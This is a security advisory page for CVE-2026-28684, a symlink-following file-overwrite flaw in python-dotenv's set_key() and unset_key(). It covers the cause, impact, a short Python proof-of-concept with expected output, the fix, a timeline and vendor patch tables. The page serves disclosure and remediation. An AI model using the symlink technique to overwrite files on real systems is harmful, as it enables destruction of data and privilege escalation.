CVE-2026-28684 is a medium-severity (CVSS 6.6) CWE-59 vulnerability in python-dotenv. A fix is available for python-dotenv — see the affected versions and patch details below.
python-dotenv: Symlink following in set_key allows arbitrary file overwrite via cross-device rename fallback
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-28684.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
python-dotenvReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
set_key() and unset_key() in python-dotenv follow symbolic links when rewriting .env files, allowing a local attacker to overwrite arbitrary files via a crafted symlink when a cross-device rename fallback is triggered.
Details
The rewrite() context manager in dotenv/main.py is used by both set_key() and unset_key() to safely modify .env files. It works by writing to a temporary file (created in the system's default temp directory, typically /tmp) and then using shutil.move() to replace the original file.
When the .env path is a symbolic link and the temp directory resides on a different filesystem than the target (a common configuration on Linux systems using tmpfs for /tmp), the following sequence occurs:
shutil.move()first attemptsos.rename(), which fails with anOSErrorbecause atomic renames cannot cross device boundaries.- On failure,
shutil.move()falls back toshutil.copy2()followed byos.unlink(). shutil.copy2()callsshutil.copyfile()withfollow_symlinks=Trueby default.- This causes the content to be written to the symlink target rather than replacing the symlink itself.
An attacker who has write access to the directory containing a .env file can pre-place a symlink pointing to any file that the application process has write access to. When the application (or a privileged process such as a deploy script, Docker entrypoint, or CI pipeline) calls set_key() or unset_key(), the symlink target is overwritten with the new .env content.
This vulnerability does not require a race condition and is fully deterministic once the preconditions are met.
Impact
The primary impacts are to integrity and availability:
- File overwrite / destruction (DoS): An attacker can cause an application or privileged process to corrupt or destroy configuration files, database configs, or other sensitive files it would not normally have access to modify.
- Integrity violation: The target file's original content is replaced with
.env-formatted content controlled by the attacker. - Potential privilege escalation: In scenarios where a privileged process (running as root or a service account) calls
set_key(), the attacker can leverage this to write to files beyond their own access level.
The scope of impact depends on the application using python-dotenv and the privileges under which it runs.
Proof of Concept
The following script demonstrates the vulnerability. It requires /tmp and the user's home directory to reside on different devices (common on systemd-based Linux systems with tmpfs).
import os
import sys
import tempfile
from dotenv import set_key
# Pre-condition: /tmp must be on a different device than the target directory.
tmp_dev = os.stat("/tmp").st_dev
home_dev = os.stat(os.path.expanduser("~")).st_dev
assert tmp_dev != home_dev, "Skipped: /tmp and ~ are on the same device (no cross-device move)"
with tempfile.TemporaryDirectory(dir=os.path.expanduser("~")) as workdir:
# File an attacker wants to overwrite
target = os.path.join(workdir, "victim_config.txt")
with open(target, "w") as f:
f.write("DB_PASSWORD=supersecret\n")
# Attacker pre-places a symlink at the path the application will use as .env
env_symlink = os.path.join(workdir, ".env")
os.symlink(target, env_symlink)
before = open(target).read()
# Application writes a new key -- triggers the cross-device fallback
set_key(env_symlink, "INJECTED", "attacker_value")
after = open(target).read()
print("Before:", repr(before))
print("After: ", repr(after))
print("Symlink target overwritten:", target)
Expected output:
Before: 'DB_PASSWORD=supersecret\n'
After: "DB_PASSWORD=supersecret\nINJECTED='attacker_value'\n"
Symlink target overwritten: /home/user/tmp806nut2g/victim_config.txt
Remediation
The fix changes the rewrite() context manager in the following ways:
- Symlinks are no longer followed by default. When the
.envpath is a symlink,rewrite()now resolves it to the real path before proceeding, or (by default) operates on the symlink entry itself rather than the target. - A
follow_symlinks: bool = Falseparameter is added toset_key()andunset_key()for users who explicitly need the old behavior. - Temp files are written in the same directory as the target
.envfile (instead of the system temp directory), eliminating the cross-device rename condition entirely. os.replace()is used instead ofshutil.move(), providing atomic replacement without symlink-following fallback behavior.
Users are advised to upgrade to the patched version as soon as it is available on PyPI.
Timeline
| Date | Event |
|---|---|
| 2026-01-09 | Initial report received from Giorgos Tsigourakos regarding a separate, unrelated issue also located in rewrite() |
| 2026-01-10 | Co-maintainer acknowledged report, requested clarification |
| 2026-01-11 | Initial report assessed as not exploitable and closed |
| 2026-02-24 | Reporter identified new, distinct cross-device symlink attack vector with deterministic exploitation |
| 2026-02-26 | Co-maintainer confirmed vulnerability and shared draft patch |
| 2026-02-26 | Reporter validated fix with monkeypatched PoC, proposed CVSS |
| 2026-03-01 | Patch merged to main |
| 2026-03-01 | Patched version released to PyPI |
| 2026-04-20 | Advisory published |
Patches
Upgrade to v.1.2.2 or use the patch from https://github.com/theskumar/python-dotenv/commit/790c5c02991100aa1bf41ee5330aca75edc51311.patch
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | python-dotenv | all versions | 1.2.2pip install --upgrade 'python-dotenv==1.2.2' |
Affected Products
python-dotenvsaurabh-kumarDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for python-dotenv, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update python-dotenv to 1.2.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-28684 is resolved across your whole dependency graph.
Workarounds
Close the privilege gap rather than the entry point: audit which accounts, roles and service identities can reach the affected operation, drop the component to the least privilege it actually needs, and review file and directory permissions created by earlier installs — a default left in place is what makes this reachable.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for CVE-2026-28684 (CC BY 4.0)
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat AI Inference Server 3.2 | rhaiis/model-opt-cuda-rhel9:1787772157 | RHSA-2026:61628 |
| Red Hat Ansible Automation Platform 2.6 | ansible-automation-platform-26/lightspeed-chatbot-rhel9:1780102732 | RHSA-2026:24866 |
| Red Hat Migration Toolkit for Applications 8.2 | mta/mta-solution-server-rhel9:1784109883 | RHSA-2026:43038 |
| Red Hat OpenShift AI 2.25 | rhoai/odh-feature-server-rhel9:1780069135 | RHSA-2026:24977 |
| Red Hat OpenShift AI 2.25 | rhoai/odh-caikit-tgis-serving-rhel9:1783082430 | RHSA-2026:42644 |
| Red Hat OpenShift AI 2.25 | rhoai/odh-caikit-nlp-rhel9:1791448212 | RHSA-2026:87410 |
| Red Hat OpenShift AI 3.3 | rhoai/odh-feature-server-rhel9:1778239104 | RHSA-2026:19712 |
| Red Hat OpenShift AI 3.3 | rhoai/odh-trustyai-garak-lls-provider-dsp-rhel9:1782472374 | RHSA-2026:37275 |
Frequently Asked Questions
Is CVE-2026-28684 in your dependencies?
Find it across PyPI, including transitive dependencies.